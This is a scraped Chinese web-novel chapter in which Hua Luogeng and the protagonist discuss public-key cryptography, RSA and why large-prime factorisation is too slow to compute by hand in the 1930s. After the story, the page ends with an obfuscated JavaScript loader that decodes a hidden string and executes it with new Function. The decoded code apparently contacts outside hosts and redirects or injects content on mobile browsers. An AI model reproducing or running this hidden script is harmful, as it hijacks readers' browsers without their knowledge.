第一百九十八章 非对称密码时代(2 / 2)

我的科学时代 仲渊2 2353 字 2022-09-26

如果说之前采用矩阵数学原理的日本红密体系,破译难度是10,那么,基于公钥加密算法的密码体系破译难度,将是1000!

作为密码破译专家的华罗庚,已经在一瞬间就想出了好几种数学原理的加密算法,而且,为了确保密码强度,除了采用公钥加密之外,还能使用传统加密算法与公钥加密结合起来共同应用的加密方式。

先用一套密码体系,对重要信息进行加密,再使用公钥加密算法加密。

这怎么破译?

破译难度之高,简直令人发指。

从理论上讲,通过已知加密密钥,推导出解密密钥,在计算上根本无法实现,换句话而言,这是一种全新的完美加密机制。

号称不可能被破解的恩尼格码机在这套加密机制面前,也显得那么脆弱不堪。

机制的完美加密!

这一刻,华罗庚简直头皮发麻,已然理解整个公钥加密算法概念的他,双眼望向余华,充满惊讶与赞赏。

士别三日,当刮目相待,许久未见的余华,不仅给他带来了七科满分的成绩,还给他带来了一个大惊喜。

“关于公钥和私钥采用哪种数学原理,你想好没有?”华罗庚深呼吸一口气,恢复冷静,以学者的口吻向余华询问道。

公钥和私钥采用的数学原理,这是核心关键,既要满足公开的加密密钥,又要满足自我掌握的解密私钥。

“还没有,学生知识储备还不够,大素数的分解怎么样?”余华摇头,如实回答道,对于非对称加密算法体系,他只了解基本原理和RSA算法原理,其他东西少得可怜。

莫得办法,知乎大佬们经常去美国,B站兄弟到处打卡留恋,贴吧老哥一天到晚折腾狗头怎么闻经验,纯数和密码学领域等生僻冷门知识,讲解的着实不多。

而应用于公钥加密算法的数学原理,除了一个RSA算法,就没别的了。

“大素数的分解作为底层算法是可行的,安全性高,基本不会被破解,但存在相应的缺陷,那是计算量非常大,导致加密和解密操作时间极大程度增加,以大素数分解的密钥长度增加一倍,公钥加密时间大致要增加四倍,私钥解密为八倍—十倍左右,时效性无法满足需求。”

华罗庚听到余华给出的思路,陷入思索,仔细权衡一番,摇了摇头:“从理论上讲,大素数分解特别适合这套公钥加密机制,但从实际出发,两者并不匹配,除非有一种类似恩尼格码机的特殊机器,协助人力计算,或者进行自我运算,生成公私钥和私钥解密,要不然,很难得到有效应用。”

时效性。

这是大素数分解的数学原理,存在的严重问题。

从数学机制上讲,大素数的分解与非对称加密算法体系完美契合,两个素数越大,安全性越高。

问题在于,素数越大,计算难度也在随之提升。

假设两个大素数分别为100009921,10009933,这两个大素数的因式分解难度有多大?

天文数字般的大素数意味着超高的计算难度,人力计算的时效性,完全无法满足‘高效’的通信需求。

最简单的道理,假设第二十九军面临日军进攻,压力过大,想要撤退,要求一天之内撤入城内,利用基于大素数分解为底层数学原理的非对称加密体系,向国民政府发出请求,从请求被国民政府接收,再到对方做出决定,用公钥对信息加密,反馈给第二十九军。

由于计算难度过高,第二十九军的私钥解密环节,其时间可能耗费两天。

请求一天之内撤入城市,解密时间长达两天,这怎么搞?

对高度注重通信效率的军事领域而言,大素数分解算法,完全无法接受。

还有,如果要动用非对称加密算法体系的话,对通信部门人员的素质要求更高,尤其是数学水平,素数判别和大数分解,绝不是普通人能够做到的,最低要求都得是大学毕业的算学生水准。

而全国又有多少大学毕业的算学生?

想要运用大素数分解,人力很能办到,必须运用机器的力量,一种类似恩尼格玛机的特殊机器,辅助人力计算。

或者,设计一种能够自我运算的机器,把这种大量的重复性计算工作,交给这种自我运算机器。

“时效性……”余华若有所思,猛地醒悟过来,他犯了一个经典的错误——东施效颦。

根据数论,寻找两个大素数较为简单,而将它们的乘积进行因式分解则极其困难,后世的RSA加密算法正是基于这点,将两个大素数的乘积公开,作为公钥加密算法。

而后世RSA加密算法运用大素数分解的基础,则是因为计算机的高速发展,有着每秒数百万次乃至数千万次运算速度的计算机,才满足RSA加密算法的需求。

很显然,自己给出的大素数分解,并不适合当前时代的情况。

整个民国,除了他之外,根本无法在极短时间内对大素数进行因式分解,如果是一些超大素数,诸如一亿单位,甚至十亿单位,整个计算过程都会特别困难。

不愧是师父,厉害。

尽管自己的想法被否决,余华并未生气,反而极其佩服,沉吟一番:“学生水平有限,除了大素数的分解之外,暂时还没想到其他好的办法。”

想要运用非对称加密体系,必须找到一套符合当前时代特征的数学原理,作为核心基础,这是关键。

“这点不急,慢慢来,诸如微积分、黎曼函数和离散对数等等,都能作为这套体系的核心基础,不过,师父想问你一个问题,你想过非对称加密体系公布后的影响没有?”华罗庚轻轻摇头,回答道。

微积分的基础特点是互逆运算,符合非对称加密体系的需求,黎曼函数,离散对数等等,亦是如此。

寻找数学原理不是问题,问题在于,非对称加密体系公布之后的影响。

余华听闻,回答道:“密码学会出现突破性的进展,学生将会获得学术名誉,各国密码体系会迅速更新到非对称密码时代,从而极大程度提升通信安全和防破译难度。”

密码学的突破会迅速反映到现实生活,因为,人们对于信息安全的追求,有着近乎变态般的痴迷。

没人想自己传递的信息被破译。

可以预见,随着非对称加密体系这一成果的公布,世界各国密码体系会立即从对称密码时代,进入到非对称密码时代。

在这个过程之中,作为创立者的余华,将会得到极大的名誉。

“你有没有想过日本人进入非对称加密时代后的情况?”华罗庚严肃问道。

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();